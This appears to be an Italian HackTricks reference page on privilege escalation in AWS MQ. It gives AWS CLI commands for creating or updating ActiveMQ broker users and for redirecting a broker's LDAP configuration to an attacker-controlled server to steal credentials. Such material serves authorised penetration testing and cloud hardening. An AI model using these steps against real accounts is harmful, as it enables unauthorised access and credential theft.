# AWS - MQ Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## MQ

Per maggiori informazioni su MQ consulta:

{{#ref}}
../../aws-services/aws-mq-enum.md
{{#endref}}

### `mq:ListBrokers`, `mq:CreateUser`

Con questi permessi puoi **creare un nuovo utente in un broker ActimeMQ** (questo non funziona in RabbitMQ):
```bash
aws mq list-brokers
aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
```
**Potenziale Impatto:** Accedere a informazioni sensibili navigando attraverso ActiveMQ

### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`

Con questi permessi puoi **creare un nuovo utente in un ActimeMQ broker** (questo non funziona in RabbitMQ):
```bash
aws mq list-brokers
aws mq list-users --broker-id <value>
aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
```
**Impatto potenziale:** Accedere a informazioni sensibili navigando tramite ActiveMQ

### `mq:ListBrokers`, `mq:UpdateBroker`

Se un broker utilizza **LDAP** per l'autorizzazione con **ActiveMQ**, è possibile **modificare** la **configurazione** del server LDAP utilizzato per indirizzarla su **uno controllato dall'attaccante**. In questo modo l'attaccante sarà in grado di **rubare tutte le credenziali inviate tramite LDAP**.
```bash
aws mq list-brokers
aws mq update-broker --broker-id <value> --ldap-server-metadata=...
```
Se in qualche modo riuscissi a trovare le credentials originali utilizzate da ActiveMQ, potresti eseguire un MitM, rubare le creds, usarle sul server originale e inviare la risposta (forse basterebbe riutilizzare le credentials rubate per farlo).

**Potential Impact:** Rubare le credentials di ActiveMQ

{{#include ../../../../banners/hacktricks-training.md}}
